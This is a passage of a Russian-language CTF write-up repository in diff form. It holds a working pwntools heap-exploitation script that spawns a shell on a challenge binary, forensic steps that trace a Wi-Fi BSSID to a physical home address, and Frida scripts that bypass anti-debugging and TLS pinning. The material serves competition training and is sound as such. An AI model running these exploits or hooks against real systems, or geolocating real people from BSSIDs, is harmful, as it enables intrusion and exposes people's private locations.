args = ap.parse_args()
|
||||
|
||||
fw = load_firmware(Path(args.firmware))
|
||||
flag = solve(
|
||||
fw,
|
||||
prefix=None if args.no_format else args.prefix,
|
||||
suffix=None if args.no_format else args.suffix,
|
||||
alphabet=None if args.no_format else args.alphabet,
|
||||
no_format=args.no_format,
|
||||
)
|
||||
try:
|
||||
print(flag.decode("ascii"))
|
||||
except UnicodeDecodeError:
|
||||
print(flag)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
30
Warriors-Pwn/README.md
Normal file
@@ -0,0 +1,30 @@
|
||||
# Warriors
|
||||
|
||||
Добро пожаловать на Арену Хроноса. Здесь воины рождаются из байтов памяти. Только Повелитель Времени может манипулировать временной линией без последствий. Сможете ли вы победить Хранителя Целостности и захватить Флаг?
|
||||
|
||||
## Решение
|
||||
|
||||
1. Открываем бинарь в **IDA/Ghidra** и разбираем команды меню: `spawn`, `sacrifice`, `scout`, `rewind`, `rename`, `invoke_core`.
|
||||
2. Понимаем модель памяти: `Warrior` хранится в куче, а слоты в таблице держат указатели на эти чанки.
|
||||
3. Находим уязвимую связку `sacrifice` + `rewind(1)`: после отката в таблице остаётся указатель на уже освобождённый чанк (UAF).
|
||||
4. Через `scout(slot, -8, 8)` снимаем `encrypted_next` у освобождённого чанка и получаем `heap_cookie`, нужный для корректного `next`.
|
||||
5. Используем `rename(slot, -16, blob)`, чтобы писать перед `name` и подделать заголовок чанка:
|
||||
- `checksum = crc32(name)` (4 байта),
|
||||
- `pad` (4 байта),
|
||||
- `encrypted_next = target ^ cookie` (8 байт),
|
||||
- `name` (64 байта).
|
||||
6. В качестве `target` выбираем `g_bridge` и отравляем free-list через UAF-объект.
|
||||
7. Делаем два `spawn`: первый снимает обычный элемент из списка, второй даёт контролируемую аллокацию в целевой адрес.
|
||||
8. Перезаписываем `dispatch` в `g_bridge` адресом `summon_oracle` (например, `b"A"*24 + p64(summon_oracle)`).
|
||||
9. Вызываем `invoke_core()` и получаем выполнение `summon_oracle`, после чего появился shell.
|
||||
10. В shell читаем флаг:
|
||||
|
||||
```bash
|
||||
cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt
|
||||
```
|
||||
|
||||
Полный PoC: [exploit.py](exploit.py)
|
||||
|
||||
```bash
|
||||
python3 exploit.py
|
||||
```
|
||||
146
Warriors-Pwn/exploit.py
Normal file
@@ -0,0 +1,146 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
import os
|
||||
import re
|
||||
import zlib
|
||||
|
||||
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
DEFAULT_BIN = os.path.join(ROOT, "public", "chronos_arena")
|
||||
BINARY_PATH = args.BIN if args.BIN else DEFAULT_BIN
|
||||
|
||||
context.binary = ELF(BINARY_PATH, checksec=False)
|
||||
context.terminal = ["tmux", "splitw", "-h"]
|
||||
|
||||
LEAKED_COOKIE = None
|
||||
|
||||
|
||||
def forge_warrior(data, next_ptr):
|
||||
"""
|
||||
Build raw bytes for overwrite at (name-16) region:
|
||||
[checksum|pad|encrypted_next|name(64)]
|
||||
"""
|
||||
global LEAKED_COOKIE
|
||||
if LEAKED_COOKIE is None:
|
||||
raise ValueError("Cookie is not leaked yet")
|
||||
|
||||
name = data.ljust(64, b"\x00")[:64]
|
||||
checksum = zlib.crc32(name) & 0xFFFFFFFF
|
||||
encrypted_next = (next_ptr ^ LEAKED_COOKIE) & 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
return p32(checksum) + p32(0) + p64(encrypted_next) + name
|
||||
|
||||
|
||||
def start():
|
||||
if args.REMOTE:
|
||||
host = args.HOST if args.HOST else "127.0.0.1"
|
||||
port = int(args.PORT) if args.PORT else 1337
|
||||
return remote(host, port)
|
||||
|
||||
if args.GDB:
|
||||
return gdb.debug([BINARY_PATH], gdbscript="continue")
|
||||
|
||||
return process([BINARY_PATH])
|
||||
|
||||
|
||||
class GameInteraction:
|
||||
def __init__(self, tube):
|
||||
self.io = tube
|
||||
|
||||
def _choose(self, idx):
|
||||
self.io.sendlineafter(b"Chronos> ", str(idx).encode())
|
||||
|
||||
def spawn(self, name):
|
||||
self._choose(1)
|
||||
self.io.sendlineafter(b"Warrior name: ", name)
|
||||
line = self.io.recvline().decode(errors="ignore").strip()
|
||||
m = re.search(r"Slot\s+(\d+)\s+awakened", line)
|
||||
if not m:
|
||||
raise RuntimeError(f"Unexpected spawn output: {line}")
|
||||
return int(m.group(1))
|
||||
|
||||
def sacrifice(self, slot):
|
||||
self._choose(2)
|
||||
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
|
||||
self.io.recvline()
|
||||
|
||||
def rename(self, slot, shift, blob):
|
||||
self._choose(5)
|
||||
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
|
||||
self.io.sendlineafter(b"Rune shift (-16..16): ", str(shift).encode())
|
||||
self.io.sendlineafter(b"Rune length (0..80): ", str(len(blob)).encode())
|
||||
self.io.sendafter(b"Raw inscription bytes: ", blob)
|
||||
self.io.send(b"\n")
|
||||
self.io.recvline()
|
||||
|
||||
def scout(self, slot, shift, length):
|
||||
self._choose(3)
|
||||
self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
|
||||
self.io.sendlineafter(b"Scout offset (-24..96): ", str(shift).encode())
|
||||
self.io.sendlineafter(b"Vision length (0..120): ", str(length).encode())
|
||||
|
||||
self.io.recvuntil(b"Vision: ")
|
||||
hex_line = self.io.recvline().strip().decode()
|
||||
leaked = bytes.fromhex(hex_line)
|
||||
return leaked
|
||||
|
||||
def rewind(self, anchor):
|
||||
self._choose(4)
|
||||
self.io.sendlineafter(b"Rewind to anchor: ", str(anchor).encode())
|
||||
self.io.recvline()
|
||||
|
||||
def invoke_core(self):
|
||||
self._choose(6)
|
||||
|
||||
|
||||
def main():
|
||||
global LEAKED_COOKIE
|
||||
|
||||
elf = context.binary
|
||||
io = start()
|
||||
game = GameInteraction(io)
|
||||
|
||||
target = elf.symbols["g_bridge"]
|
||||
oracle = elf.symbols["summon_oracle"]
|
||||
|
||||
log.info("Stage 1: create free chunk and resurrect it via rewind")
|
||||
s0 = game.spawn(b"alpha")
|
||||
log.info(f"spawned slot={s0}")
|
||||
|
||||
game.sacrifice(s0)
|
||||
|
||||
game.rewind(1)
|
||||
|
||||
log.info("Stage 2: leak SECRET_COOKIE from encrypted_ptr via Scout")
|
||||
leak = game.scout(s0, -8, 8)
|
||||
LEAKED_COOKIE = u64(leak.ljust(8, b"\x00"))
|
||||
log.success(f"cookie = {hex(LEAKED_COOKIE)}")
|
||||
|
||||
log.info("Stage 3: forge warrior header and poison free list")
|
||||
forged = forge_warrior(b"time-smith", target)
|
||||
game.rename(s0, -16, forged)
|
||||
|
||||
s1 = game.spawn(b"reclaim-1")
|
||||
log.info(f"reclaim spawn slot={s1}")
|
||||
|
||||
s2 = game.spawn(b"bridge")
|
||||
log.info(f"poisoned spawn slot={s2}")
|
||||
|
||||
log.info("Stage 4: overwrite Chronos dispatch pointer inside forged allocation")
|
||||
payload = b"A" * 24 + p64(oracle)
|
||||
game.rename(s2, 0, payload)
|
||||
|
||||
log.info("Stage 5: invoke dispatch and get shell")
|
||||
game.invoke_core()
|
||||
|
||||
if args.INTERACTIVE:
|
||||
io.interactive()
|
||||
return
|
||||
|
||||
io.sendline(b"id")
|
||||
io.sendline(b"cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt")
|
||||
io.sendline(b"exit")
|
||||
print(io.recvrepeat(1.0).decode(errors="ignore"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
247
WitheredFlower-forensic/README.md
Normal file
@@ -0,0 +1,247 @@
|
||||
# WitheredFlower Forensic
|
||||
|
||||
На входе нам дается `evidence.zip`, внутри которого расположены: `backup.ab` и папка `Logs`.
|
||||
|
||||
|
||||
## Подготовка
|
||||
|
||||
Извлекаем `backup.ab` через `abe.jar` (его скачиваем с интернета)
|
||||
|
||||
После этого основные пути:
|
||||
- логи: `.\Logs\...`
|
||||
- данные приложений: `.\ab_extracted\...`
|
||||
|
||||
### Таск 1. BRAND / MODEL / BUILD_ID
|
||||
|
||||
1. Открываем `Logs/ADBReport/device_info.txt`.
|
||||
2. Поиск по файлу:
|
||||
- `ro.product.manufacturer`
|
||||
- `ro.product.model`
|
||||
3. Открываем `Logs/DumpSysReport/package.txt`.
|
||||
4. Поиск по файлу: `buildFingerprint=`.
|
||||
5. Из `buildFingerprint` берём `BUILD_ID` (часть вида `BP2A...`).
|
||||
|
||||
Флаг: `caplag{SAMSUNG/SM-A346E/BP2A.250605.031.A3}`
|
||||
|
||||
### Таск 2. Время последней загрузки + Realtime
|
||||
|
||||
1. Открываем `Logs/DumpSysReport/meminfo.txt`, в первой строке видим: `Realtime: 479801602` ms
|
||||
2. Открываем `Logs/DumpSysReport/sensorservice.txt`, берём:
|
||||
- `Captured at: 04:00:17.895`
|
||||
- дату из строк `wall=02-10 ...` (месяц-день)
|
||||
3. Год берём из системных логов с ISO-датой (например, `Logs/ADBReport/device_state.txt`), здесь это `2026`.
|
||||
4. Считаем в Python:
|
||||
|
||||
```python
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
capture = datetime.fromisoformat("2026-02-10 04:00:17.895")
|
||||
realtime_ms = 479_801_602
|
||||
realtime_sec = realtime_ms // 1000
|
||||
|
||||
boot_raw = capture - timedelta(seconds=realtime_sec)
|
||||
boot_rounded = (boot_raw + timedelta(milliseconds=500)).replace(microsecond=0)
|
||||
|
||||
days = realtime_sec // 86400
|
||||
rem = realtime_sec % 86400
|
||||
hours = rem // 3600
|
||||
minutes = (rem % 3600) // 60
|
||||
seconds = rem % 60
|
||||
|
||||
print("boot_raw:", boot_raw)
|
||||
print("boot_rounded:", boot_rounded.strftime("%Y-%m-%d %H:%M:%S"))
|
||||
print("realtime_DDHHMMSS:", f"{days:02d}:{hours:02d}:{minutes:02d}:{seconds:02d}")
|
||||
```
|
||||
|
||||
Получаем:
|
||||
- `boot_rounded = 2026-02-04 14:43:37`
|
||||
- `realtime_DDHHMMSS = 05:13:16:41`
|
||||
|
||||
Флаг: `caplag{2026-02-04/14:43:37_05:13:16:41}`
|
||||
|
||||
## Таск 3. Самый большой файл в Download + SHA-256
|
||||
|
||||
1. Открываем папку `ab_extracted/shared/0/Download`.
|
||||
2. Сортируем файлы по размеру по убыванию.
|
||||
3. Самый большой файл: `Telegram.apk`.
|
||||
4. Считаем SHA-256 вручную через 7-Zip:
|
||||
- `7-Zip -> CRC SHA -> SHA-256`
|
||||
- копируем значение
|
||||
|
||||
Флаг: `caplag{4d3400b9330b2a7d93683fd03ddda41aa144c65f74eb27e3a1786b21397ec7d1}`
|
||||
|
||||
## Таск 4. Самый ранний Wi-Fi BSSID + адрес
|
||||
|
||||
1. Открываем `Logs/DumpSysReport/wifi.txt`.
|
||||
2. Видим, что чаще всего встречается BSSID 00:1C:10:BC:B4:03, он и есть самый ранний
|
||||
3. Открываем сайт 3wifi.dev, вбиваем в поиск этот MAC адрес, находим коорды 38.939159, -77.163895
|
||||
4. По картам находим адрес дома (1305 BALLANTRAE FARM DRIVE MC LEAN VA 22101)
|
||||
|
||||
Флаг: `caplag{00:1C:10:BC:B4:03_1305BALLANTRAEFARMDRIVEMCLEANVA22101}`
|
||||
|
||||
## Таск 5. Год постройки, стоимость земли на 2017 год, площадь бассейна в sq ft.
|
||||
|
||||
По описанию таска нам нужно найти информацию о соседнем доме с таким же номером, 1305 Ballantrae Ct, McLean, VA 22101
|
||||
|
||||
1. Открываем поиск по адресу на сайте https://icare.fairfaxcounty.gov/ffxcare/search/commonsearch.aspx?mode=address
|
||||
2. Вбиваем все данные, получаем pdf документ со всей информацией о доме.
|
||||
3. В PDF находим данны о стоимости, площади бассейна и т.д.
|
||||
|
||||
Флаг: `caplag{1965_887000_720}`
|
||||
|
||||
## Таск 6. Package name + device name
|
||||
|
||||
1. Открываем `Logs/ADBReport/packages_thirdparty.txt`, ищем `projectflower`:
|
||||
- получаем package name: `com.projectflower.agency`
|
||||
2. Открываем `Logs/DumpSysReport/wifi.txt`, ищем `wifi_p2p_device_name`:
|
||||
- получаем device name: `a-272-8`
|
||||
|
||||
Флаг: `caplag{com.projectflower.agency_a-272-8}`
|
||||
|
||||
## Таск 7. Время первой установки ProjectFlower
|
||||
|
||||
1. Подтверждаем `appId` для нужного пакета:
|
||||
|
||||
- `Logs/DumpSysReport/package.txt`
|
||||
- по поиску `Package [com.projectflower.agency]` и `appId=10336`
|
||||
2. Открываем `Logs/ADBReport/device_state.txt`, ищем `Package add: uid=10336`.
|
||||
3. Среди найденных строк выбираем самое раннее время по timestamp в начале строки.
|
||||
|
||||
Самый ранний timestamp: `2026-02-10T02:50:38.948756`.
|
||||
|
||||
Формат: `2026-02-10/02:50:38`
|
||||
|
||||
Флаг: `caplag{2026-02-10/02:50:38}`
|
||||
|
||||
## Таск 8. Основной sync endpoint
|
||||
|
||||
1. Идём в `ab_extracted/apps/com.projectflower.agency/a/`.
|
||||
2. Открываем `base.apk` архиватором (или копируем как `base.zip` и распаковываем).
|
||||
3. Читаем файл `assets/protocol/kappa.cfg`.
|
||||
|
||||
Берём:
|
||||
|
||||
- `endpoint_primary=wss://relay-core.projectflower.agency/sync`
|
||||
- `port_primary=443`
|
||||
|
||||
Флаг: `caplag{wss://relay-core.projectflower.agency/sync:443}`
|
||||
|
||||
## Таск 9. PIN + SecretCode агента T-4A1KD
|
||||
|
||||
### PIN
|
||||
|
||||
1. Открываем `.\ab_extracted\apps\com.projectflower.agency\a\base.apk` в jadx-gui.
|
||||
2. Переходим в класс `com.projectflower.agency.security.PinManager` (или делаем поиск по строке `pin_hash` и открываем класс-обработчик PIN).
|
||||
3. Открываем метод `initializeDefaultsIfMissing` и/или `hashPin`.
|
||||
4. В `initializeDefaultsIfMissing` видно, какое 6-значное значение передаётся как дефолтный PIN при инициализации.
|
||||
5. В `hashPin` подтверждаем алгоритм: `PBKDF2WithHmacSHA256`, `12000` раундов.
|
||||
6. Проверочный state лежит в `.\ab_extracted\apps\com.projectflower.agency\sp\pf_secure_state.xml`
|
||||
(`pin_salt`, `pin_hash`), что совпадает с логикой из кода.
|
||||
7. Из кода получаем PIN: `473029`.
|
||||
|
||||
### SecretCode
|
||||
|
||||
1. Открываем `.\ab_extracted\apps\com.projectflower.agency\db\flowerline.db` в DB Browser for SQLite.
|
||||
2. Выполняем SQL:
|
||||
|
||||
```sql
|
||||
SELECT id, keyPartA, keyPartB FROM chat_threads;
|
||||
SELECT chatId, bodyCipher, iv FROM messages WHERE senderId='T-4A1KD' AND isEncrypted=1;
|
||||
```
|
||||
|
||||
3. Для найденного `chatId` собираем материал ключа:
|
||||
- `key_material = keyPartA + "::" + keyPartB + "::orchid/signal/v4"`
|
||||
4. Расшифровываем `bodyCipher` (AES-GCM, nonce = `iv`, AAD пустой) и получаем plaintext.
|
||||
|
||||
```python
|
||||
import base64, hashlib, sqlite3
|
||||
from pathlib import Path
|
||||
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
|
||||
|
||||
db = Path(r".\ab_extracted\apps\com.projectflower.agency\db\flowerline.db")
|
||||
con = sqlite3.connect(db)
|
||||
con.row_factory = sqlite3.Row
|
||||
cur = con.cursor()
|
||||
|
||||
cur.execute("SELECT chatId, bodyCipher, iv FROM messages WHERE senderId='T-4A1KD' AND isEncrypted=1 LIMIT 1")
|
||||
msg = cur.fetchone()
|
||||
|
||||
cur.execute("SELECT keyPartA, keyPartB FROM chat_threads WHERE id=?", (msg["chatId"],))
|
||||
thr = cur.fetchone()
|
||||
|
||||
key_material = f'{thr["keyPartA"]}::{thr["keyPartB"]}::orchid/signal/v4'
|
||||
key = hashlib.sha256(key_material.encode()).digest()
|
||||
pt = AESGCM(key).decrypt(base64.b64decode(msg["iv"]), base64.b64decode(msg["bodyCipher"]), None)
|
||||
print(pt.decode())
|
||||
```
|
||||
|
||||
Получаем: `Code: 19XQF`
|
||||
|
||||
Флаг: `caplag{473029_19XQF}`
|
||||
|
||||
## Таск 10. Восстановление удалённого сообщения + SHA-256
|
||||
|
||||
1. В DB Browser находим удалённое сообщение через ссылку `tombstoneRef`:
|
||||
|
||||
```sql
|
||||
SELECT id, chatId, senderId, tombstoneRef
|
||||
FROM messages
|
||||
WHERE senderId='Petal' AND tombstoneRef IS NOT NULL;
|
||||
```
|
||||
|
||||
2. По найденному `tombstoneRef` достаём шифртекст:
|
||||
|
||||
```sql
|
||||
SELECT id, messageId, cipherText, iv
|
||||
FROM tombstones
|
||||
WHERE id = '<tombstoneRef из шага 1>';
|
||||
```
|
||||
|
||||
3. Достаём параметры для ключа:
|
||||
- `fragment` из `.\apk_unpack\assets\protocol\kappa.cfg`
|
||||
- `cursor_seed` из `.\ab_extracted\apps\com.projectflower.agency\sp\pf_ops_seed.xml`
|
||||
|
||||
4. Формируем ключ:
|
||||
- `key = SHA256("PLF-omega-" + fragment + "kappa-19" + seed[:8])`
|
||||
|
||||
5. Расшифровываем AES-GCM (`cipherText`, `iv`, AAD пустой), получаем строку формата:
|
||||
- `messageId|chatId|original_body`
|
||||
6. Считаем SHA-256 только от `original_body`.
|
||||
|
||||
|
||||
```python
|
||||
import base64, hashlib, re, sqlite3
|
||||
from pathlib import Path
|
||||
from zipfile import ZipFile
|
||||
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
|
||||
|
||||
base = Path(r".")
|
||||
db = base / "ab_extracted" / "apps" / "com.projectflower.agency" / "db" / "flowerline.db"
|
||||
seed_xml = (base / "ab_extracted" / "apps" / "com.projectflower.agency" / "sp" / "pf_ops_seed.xml").read_text(encoding="utf-8")
|
||||
cfg_path = base / "apk_unpack" / "assets" / "protocol" / "kappa.cfg"
|
||||
|
||||
if cfg_path.exists():
|
||||
cfg = cfg_path.read_text(encoding="utf-8")
|
||||
else:
|
||||
apk = base / "ab_extracted" / "apps" / "com.projectflower.agency" / "a" / "base.apk"
|
||||
with ZipFile(apk, "r") as z:
|
||||
cfg = z.read("assets/protocol/kappa.cfg").decode("utf-8")
|
||||
|
||||
seed = re.search(r'<string name="cursor_seed">([^<]+)</string>', seed_xml).group(1)
|
||||
fragment = re.search(r"^fragment=(.+)$", cfg, re.M).group(1).strip()
|
||||
|
||||
con = sqlite3.connect(db)
|
||||
con.row_factory = sqlite3.Row
|
||||
cur = con.cursor()
|
||||
cur.execute("SELECT tombstoneRef FROM messages WHERE senderId='Petal' AND tombstoneRef IS NOT NULL ORDER BY createdAt LIMIT 1")
|
||||
ref = cur.fetchone()["tombstoneRef"]
|
||||
cur.execute("SELECT cipherText, iv FROM tombstones WHERE id=?", (ref,))
|
||||
t = cur.fetchone()
|
||||
|
||||
key = hashlib.sha256(f"PLF-omega-{fragment}kappa-19{seed[:8]}".encode()).digest()
|
||||
pt = AESGCM(key).decrypt(base64.b64decode(t["iv"]), base64.b64decode(t["cipherText"]), None).decode()
|
||||
original_body = pt.split("|", 2)[2]
|
||||
print(hashlib.sha256(original_body.encode()).hexdigest())
|
||||
```
|
||||
|
||||
Флаг: `caplag{8eddf96d2de82df880e42163a792338c067b65f07ab1d167f9ffec9fe12ceaea}`
|
||||
162
tesseract-reverse/README.md
Normal file
@@ -0,0 +1,162 @@
|
||||
# Tesseract
|
||||
|
||||
Забудьте про статику: истина доступна только в динамике.
|
||||
|
||||
## Решение
|
||||
|
||||
Подсказка в задании сразу задает направление: **"забудь про статику, смотри на динамику"**.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Первым делом загружаем сэмпл в **Detect It Easy**. Видим **VMProtect**, anti-debug. Т.к. это *.NET*, открываем в **DnSpy**, понимаем что смылсла в статике нет. Везде сильная обфускация, Control-Flow + Сильная анти-дебаг защита. Поэтому лучше смотреть, что происходит во время работы программы: какие строки появляются в памяти и через какие WinAPI проходят данные.
|
||||
|
||||
Ниже разберем решение пошагово, тем же путем, которым обычно идет участник.
|
||||
|
||||
## Что понадобится
|
||||
|
||||
- `frida` и `frida-tools` на Windows.
|
||||
- PowerShell
|
||||
- Process Hacker / Process Explorer - посмотреть TCP-соединения.
|
||||
- WinAPI Monitor - понять, какие WinAPI реально вызываются (SSPI/Schannel, Winsock и т.п.).
|
||||
|
||||
Готовые скрипты решения:
|
||||
|
||||
- стадия 1 (получение пароля): `stage_1_findpassword.js`
|
||||
- стадия 2 (получение флага): `stage_2_decryptmessage.js`
|
||||
|
||||
## Что видно при запуске
|
||||
|
||||
После старта видим простое окно:
|
||||
|
||||

|
||||
|
||||
- поле ввода
|
||||
- кнопка `Check`
|
||||
- подпись `status:`
|
||||
|
||||
Если вводить случайные строки и нажимать `Check`, появляется сообщение **`Invalid Password`**.
|
||||
|
||||
Из этого делаем два практических вывода:
|
||||
|
||||
1. внутри есть сравнение с правильным паролем;
|
||||
2. правильная строка где-то в процессе все-таки появляется, хотя бы на короткое время.
|
||||
|
||||
## Стадия 1: достаем пароль динамически
|
||||
|
||||
### Почему не `strings` и не статический реверс
|
||||
|
||||
Если мы запустим программу, укажем любой пароль и посмотрим какие строки лежат в памяти процесса, то ничего полезного не увидем. Сам верный пароль может лежать в памяти, но не долго.
|
||||
|
||||
В задачах такого типа пароль часто:
|
||||
|
||||
- вычисляется на лету;
|
||||
- расшифровывается в память на долю секунды;
|
||||
- сразу затирается;
|
||||
- скрывается за виртуализацией/обфускацией.
|
||||
|
||||
Поэтому здесь быстрее работать через рантайм.
|
||||
|
||||
### Идея
|
||||
|
||||
Мы не знаем пароль, но знаем строку, которая точно рисуется на экране: `Invalid Password`.
|
||||
|
||||
План такой:
|
||||
|
||||
1. поймать момент, когда приложение рисует `Invalid Password`;
|
||||
2. получить указатель на эту строку;
|
||||
3. найти memory range, где лежит этот указатель;
|
||||
4. просканировать соседнюю область памяти на строки-кандидаты;
|
||||
5. выбрать наиболее похожую на пароль.
|
||||
|
||||
В этом таске строка рисуется через `user32!DrawTextExW`, поэтому это удобная точка для хука.
|
||||
|
||||
### Как автоматизировать клики
|
||||
|
||||
Чтобы не нажимать кнопку вручную, скрипт:
|
||||
|
||||
- находит `EDIT` и кнопку `Check`;
|
||||
- шлет `WM_SETTEXT` в поле;
|
||||
- шлет `BM_CLICK` в кнопку;
|
||||
- повторяет это циклом.
|
||||
|
||||
Поиск контролов сделан через `EnumWindows` и `EnumChildWindows`.
|
||||
|
||||
### Что делает `stage_1_findpassword.js`
|
||||
|
||||
По сути в нем четыре шага:
|
||||
|
||||
1. Минимально отключает антидебаг (`IsDebuggerPresent`, `CheckRemoteDebuggerPresent`).
|
||||
2. Автоматически гоняет ввод и нажатие `Check`.
|
||||
3. Хукает `DrawTextExW` и ловит вызов с текстом `Invalid Password`.
|
||||
4. От найденного адреса сканирует память, собирает строки-кандидаты и ранжирует их по простым эвристикам.
|
||||
|
||||

|
||||
|
||||
в выводе видно что-то такое:
|
||||
|
||||
```
|
||||
[CAND 1] ... VMP_Is_Watching_Y0u
|
||||
[+] BEST GUESS: VMP_Is_Watching_Y0u
|
||||
```
|
||||
|
||||
Эту строку и вводим в GUI как пароль.
|
||||
|
||||
### Запуск стадии 1
|
||||
|
||||
```powershell
|
||||
frida -f .\tesseract.exe -l .\stage_1_findpassword.js --runtime=v8
|
||||
```
|
||||
|
||||
Дальше ждем строку `BEST GUESS`.
|
||||
|
||||
## Стадия 2: достаем флаг при TLS и pinning
|
||||
|
||||

|
||||
|
||||
После ввода верного пароля ничего не происходит, происходит авторизация и все. Запустим proc hacker и видим, что после ввода пароля приложение создает какое-то подключение. Так же это видно через API Monitor
|
||||
|
||||
Интуитивный вариант - снять трафик в Wireshark/Burp/mitmproxy - здесь не помогает:
|
||||
|
||||
- трафик зашифрован TLS;
|
||||
- pinning ломает MITM даже с подставленным сертификатом.
|
||||
|
||||
### Идея
|
||||
|
||||
Смотрим не в сеть, а в процесс. Любой TLS-клиент внутри себя в какой-то момент получает уже расшифрованные данные.
|
||||
|
||||
В Windows это обычно связка SSPI/Schannel. В API Monitor это видно по вызовам:
|
||||
|
||||
- `InitializeSecurityContextW` (handshake);
|
||||
- `DecryptMessage` (расшифровка прикладных данных).
|
||||
|
||||

|
||||
|
||||
Значит, хукаем `DecryptMessage`, и после вызова читаем буферы `SECBUFFER_DATA`. Там лежит plaintext, который приложение уже расшифровало для себя.
|
||||
|
||||
Так мы обходим pinning без MITM: просто забираем готовые данные из памяти процесса.
|
||||
|
||||
### Что делает `stage_2_decryptmessage.js`
|
||||
|
||||
Скрипт:
|
||||
|
||||
1. при необходимости гасит базовые антидебаг-проверки;
|
||||
2. ждет загрузку `secur32.dll` / `sspicli.dll`;
|
||||
3. ставит хук на `DecryptMessage`;
|
||||
4. на `onLeave` парсит `SecBufferDesc` и связанные `SecBuffer`;
|
||||
5. читает все буферы типа `SECBUFFER_DATA` и печатает расшифрованный текст.
|
||||
|
||||

|
||||
|
||||
В выводе получаем флаг:
|
||||
|
||||
```
|
||||
[+] FLAG: caplag{D0uble_H00k_And_Tim3_Warp_Cr4ck}
|
||||
```
|
||||
|
||||
### Запуск стадии 2
|
||||
|
||||
```powershell
|
||||
frida -f .\tesseract.exe -l .\stage_2_decryptmessage.js --runtime=v8
|
||||
```
|
||||
BIN
tesseract-reverse/image-1.png
Normal file
|
After Width: | Height: | Size: 167 KiB |
BIN
tesseract-reverse/image-2.png
Normal file
|
After Width: | Height: | Size: 3.6 KiB |
BIN
tesseract-reverse/image-3.png
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
tesseract-reverse/image-4.png
Normal file
|
After Width: | Height: | Size: 4.5 KiB |
BIN
tesseract-reverse/image-5.png
Normal file
|
After Width: | Height: | Size: 122 KiB |
BIN
tesseract-reverse/image-6.png
Normal file
|
After Width: | Height: | Size: 58 KiB |
BIN
tesseract-reverse/image.png
Normal file
|
After Width: | Height: | Size: 21 KiB |
351
tesseract-reverse/stage_1_findpassword.js
Normal file
@@ -0,0 +1,351 @@
|
||||
console.log('[*] solve.js: anchor-based heap extractor loaded');
|
||||
|
||||
function getExport(mod, name) {
|
||||
var m = Process.findModuleByName(mod);
|
||||
if (!m) return null;
|
||||
try {
|
||||
return m.getExportByName(name);
|
||||
} catch (_) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function safeReadUtf16(p, maxChars) {
|
||||
if (p.isNull()) return null;
|
||||
try {
|
||||
if (maxChars !== undefined) return p.readUtf16String(maxChars);
|
||||
return p.readUtf16String();
|
||||
} catch (_) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function isPrintableAscii(c) {
|
||||
return c >= 0x20 && c <= 0x7e;
|
||||
}
|
||||
|
||||
function readUtf16Around(addr, maxChars) {
|
||||
|
||||
var p = addr;
|
||||
try {
|
||||
for (var i = 0; i < 128; i++) {
|
||||
var prev = p.sub(2).readU16();
|
||||
if (prev === 0) break;
|
||||
if (!isPrintableAscii(prev)) break;
|
||||
p = p.sub(2);
|
||||
}
|
||||
} catch (_) {}
|
||||
|
||||
var s = safeReadUtf16(p, maxChars || 96);
|
||||
return { base: p, str: s };
|
||||
}
|
||||
|
||||
function analyzeString(s) {
|
||||
var hasU = false;
|
||||
var hasL = false;
|
||||
var hasD = false;
|
||||
var underscores = 0;
|
||||
for (var i = 0; i < s.length; i++) {
|
||||
var ch = s.charCodeAt(i);
|
||||
if (ch === 0x5f) underscores++;
|
||||
if (ch >= 0x41 && ch <= 0x5a) hasU = true;
|
||||
else if (ch >= 0x61 && ch <= 0x7a) hasL = true;
|
||||
else if (ch >= 0x30 && ch <= 0x39) hasD = true;
|
||||
}
|
||||
var segs = s.split('_').length;
|
||||
return { hasU: hasU, hasL: hasL, hasD: hasD, underscores: underscores, segs: segs };
|
||||
}
|
||||
|
||||
function looksKeyLike(s) {
|
||||
if (!s) return false;
|
||||
if (s.length < 8 || s.length > 64) return false;
|
||||
|
||||
// Filter obvious noise.
|
||||
if (s.indexOf('=') !== -1) return false;
|
||||
if (s.indexOf('\\') !== -1) return false;
|
||||
if (s.indexOf(':') !== -1) return false;
|
||||
if (s.indexOf('.') !== -1) return false;
|
||||
if (s.indexOf(' ') !== -1) return false;
|
||||
|
||||
|
||||
for (var i = 0; i < s.length; i++) {
|
||||
var c = s.charCodeAt(i);
|
||||
if (!isPrintableAscii(c)) return false;
|
||||
}
|
||||
|
||||
for (var i = 0; i < s.length; i++) {
|
||||
var c = s.charCodeAt(i);
|
||||
var ok =
|
||||
(c >= 0x30 && c <= 0x39) ||
|
||||
(c >= 0x41 && c <= 0x5a) ||
|
||||
(c >= 0x61 && c <= 0x7a) ||
|
||||
c === 0x5f;
|
||||
if (!ok) return false;
|
||||
}
|
||||
|
||||
if (s.indexOf('_') === -1) return false;
|
||||
|
||||
var a = analyzeString(s);
|
||||
if (!(a.hasU && a.hasL)) return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
function scoreCandidate(s) {
|
||||
var a = analyzeString(s);
|
||||
var score = 0;
|
||||
|
||||
if (s.length >= 12 && s.length <= 32) score += 50;
|
||||
score += Math.max(0, 40 - Math.abs(s.length - 20));
|
||||
|
||||
if (a.segs >= 3 && a.segs <= 5) score += 30;
|
||||
else score -= Math.abs(a.segs - 4) * 5;
|
||||
|
||||
|
||||
if (a.hasD) score += 10;
|
||||
score += a.underscores * 2;
|
||||
|
||||
return score;
|
||||
}
|
||||
|
||||
function absPtrDelta(a, b) {
|
||||
try {
|
||||
var d = a.sub(b).toInt32();
|
||||
if (d < 0) d = -d;
|
||||
return d;
|
||||
} catch (_) {
|
||||
return 0x7fffffff;
|
||||
}
|
||||
}
|
||||
|
||||
function installAntiAntiDebug() {
|
||||
function hookRet0(mod, name) {
|
||||
